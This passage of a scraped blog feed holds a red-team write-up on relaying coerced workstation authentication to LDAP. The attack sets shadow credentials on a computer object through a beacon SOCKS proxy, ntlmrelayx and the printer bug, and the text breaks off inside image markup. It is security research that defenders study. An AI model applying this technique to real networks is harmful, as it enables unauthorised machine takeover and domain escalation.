class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>&#8205;Although the condition that the event isn&#8217;t logged unless the template is enrolled in isn&#8217;t ideal, it&#8217;s still worth monitoring for since it covers the scenario in which an attacker modifies a template and follows up with enrollment for privilege escalation.</p>]]></content:encoded></item><item><title><![CDATA[Shadow Credentials: Workstation Takeover Edition]]></title><description><![CDATA[Certificates and PKINIT are hot topics these days and our operators at Fortalice have been doing their best to stay on top of the new research and tools.]]></description><link>https://blog.tw1sm.io/p/shadow-credentials-workstation-takeover</link><guid isPermaLink="false">https://blog.tw1sm.io/p/shadow-credentials-workstation-takeover</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Thu, 21 Oct 2021 16:00:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!wwTN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Certificates and PKINIT are hot topics these days and our operators at Fortalice have been doing their best to stay on top of the new research and tools. My previous <a href="https://web.archive.org/web/20250822122042mp_/https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-abuse">blog</a> touched on <a href="https://web.archive.org/web/20250822122042mp_/https://github.com/ShutdownRepo/pywhisker">PyWhisker</a> and referenced one of its resources available on <a href="https://web.archive.org/web/20250822122042mp_/https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials">thehacker.recipes</a>. While reading through the documentation there, a note near the bottom caught my eye, which stated: <em>User objects can&#8217;t edit their own </em><code>msDS-KeyCredentialLink</code><em> attribute while computer objects can</em>.</p><p>Interesting &#8211; this potentially means that if an attacker can coerce and capture machine account authentication that is relay-able to LDAP, the attacker could set shadow credentials on the computer object allowing for machine takeover. My next thought was, <em>how is no one talking about this?</em> Well, it turns out very similar computer takeover methods have been around and documented, one being <a href="https://web.archive.org/web/20250822122042mp_/https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb">this</a> workstation compromise method by <a href="https://web.archive.org/web/20250822122042mp_/https://twitter.com/gladiatx0r">@gladiatx0r</a>.</p><p>The major difference between this and the proposed relay to set shadow credentials, is this uses ntlmrelayx&#8217;s <code>--delegate-access</code> attack to add a new machine to Active Directory (if one is not already under attacker control) and configure it for resource-based constrained delegation (RBCD). This will require the domain&#8217;s <code>MachineAccountQuota</code> attribute to be set greater than zero while utilizing shadowing credentials will <a href="https://web.archive.org/web/20250822122042mp_/https://www.thehacker.recipes/ad-ds/movement/kerberos/shadow-credentials#practice">require</a> the domain to be set up for PKINIT authentication.</p><p><em>Note: thehacker.recipes documentation describes a scenario in which auth is captured from a domain controller and relayed to set shadow credentials on the DC&#8217;s computer object. In practice, this attack vector is likely limited to workstations in most scenarios, since coerced auth (as similarly described in the gist) will need to be received over HTTP for relay to LDAP, requiring the target to have the WebClient service running. Although it can be added, servers do not have the WebClient service installed by default.</em></p><h4>Obligatory &#8220;Why do we Care?&#8221;</h4><p>Workstation takeover is fairly self explanatory - if successful, the attacker can search the target&#8217;s filesystem for sensitive data, extract authentication material, etc. Another potential use is ADCS (Active Directory Certificate Services) escalation. On engagements we&#8217;ve encountered misconfigured certificate templates, vulnerable to <a href="https://web.archive.org/web/20250822122042mp_/https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf">ESC1</a>, which grant enrollment rights to the Domain Computers group. In this scenario we&#8217;ve used this workstation takeover method to compromise enrollment rights and escalate within the domain from there.</p><h3>Performing the Attack</h3><p>Let&#8217;s set up the attack through beacon&#8217;s SOCKS proxy feature. Since we&#8217;ll be catching authentication at a WebDAV address we control, and not over SMB on 445, we won&#8217;t have to concern ourselves with something like PortBender. A simple reverse port forward will do the trick. The attack steps will look like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wwTN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wwTN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 424w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 848w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 1272w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wwTN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png" width="1456" height="597" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:597,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wwTN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 424w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 848w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 1272w, https://substackcdn.com/image/fetch/$s_!wwTN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa17fc40b-8dae-4c5f-b43f-79654010bb3c_2166x888.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Attack Overview</figcaption></figure></div><p>To get started, I&#8217;ve got a beacon running on <code>ws1.ez.lab</code> as <code>EZ\matt</code>, a low privilege user. I&#8217;ll set up the SOCKS proxy and the reverse port forward using beacon&#8217;s socks and rportfwd commands. The reverse port forward will be listening on the infected workstation on port 8081 and forwarding traffic to the teamserver (127.0.0.1) on port 81.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LPw_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LPw_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 424w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 848w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 1272w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LPw_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png" width="1062" height="316" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:316,&quot;width&quot;:1062,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!LPw_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 424w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 848w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 1272w, https://substackcdn.com/image/fetch/$s_!LPw_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5a692e46-86a8-409f-8ab1-9cc9dadf7b01_1062x316.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><strong>Beacon SOCKS and Reverse Port Forwarding Setup</strong></figcaption></figure></div><p>The target workstation will be <code>ws2.ez.lab</code>. To set shadow credentials on the computer object, a feature of ntlmrelayx can be used, which is currently awaiting approval as a pull request to Impacket (<a href="https://web.archive.org/web/20250822122042mp_/https://github.com/SecureAuthCorp/impacket/pull/1132">#1132</a>). Until it&#8217;s merged in, make sure to clone from <a href="https://web.archive.org/web/20250822122042mp_/https://github.com/ShutdownRepo/impacket">here</a> and change your branch to the pywhisker branch before using. When starting ntlmrelayx, the new flags we&#8217;ll use are <code>--shadow-credentials</code> and <code>--shadow-target</code> (since my teamserver is bound to 80 and the <code>rportfwd</code> is heading to 81, I&#8217;m also throwing <code>--http-port 81</code>).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IYWK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IYWK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 424w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 848w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 1272w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IYWK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png" width="1456" height="669" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:669,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!IYWK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 424w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 848w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 1272w, https://substackcdn.com/image/fetch/$s_!IYWK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93e946bc-9fed-4633-a5c3-c7bc0846fdb2_2756x1266.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Relay Startup</figcaption></figure></div><p><em>Note: While I&#8217;m targeting LDAPS in the example, plain LDAP also works. In some environments I&#8217;ve experienced LDAP search errors over LDAPS while finding success with the attack over LDAP.</em></p><p>Now we need to coerce authentication back to <code>ws1.ez.lab:8081</code> which will be forwarded to the teamserver on port 81. From there, ntlmrelayx will capture it and fire it through the SOCKS proxy to the DC. I&#8217;ll use <code>printerbug.py</code> from the <a href="https://web.archive.org/web/20250822122042mp_/https://github.com/dirkjanm/krbrelayx">krbrelayx</a> toolkit, but in theory, you could also use PetitPotam (I&#8217;ve experienced some bugs with PetitPotam + WebDAV backconnect, not sure if it&#8217;s still possible after Microsoft&#8217;s patches). Keep in mind, for this to work with the printerbug, the target will need to have both the <code>Print Spooler</code> and <code>WebClient</code> services running.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!809Z!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!809Z!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 424w, https://substackcdn.com/image/fetch/$s_!809Z!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 848w, https://substackcdn.com/image/fetch/$s_!809Z!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 1272w, https://substackcdn.com/image/fetch/$s_!809Z!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!809Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png" width="793" height="226" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:226,&quot;width&quot;:793,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!809Z!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 424w, https://substackcdn.com/image/fetch/$s_!809Z!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 848w, https://substackcdn.com/image/fetch/$s_!809Z!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 1272w, https://substackcdn.com/image/fetch/$s_!809Z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9187acb3-1702-4af3-b829-dff16e3a00d9_793x226.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Use Printer Bug to Trigger Authentication</figcaption></figure></div><p>If all goes as planned, you should see the auth captured by the relay and used to add a new KeyCredential to the <code>msDS-KeyCredentialLink</code> attribute of the computer object. (Note: this will only work if a KeyCredential does not already exist.)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vPP-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vPP-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 424w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 848w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 1272w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vPP-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png" width="1456" height="460" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:460,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!vPP-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 424w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 848w, https://substackcdn.com/image/fetch/$s_!vPP-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26518438-ce3f-40fb-b1db-0d01fb0895bb_2660x840.png 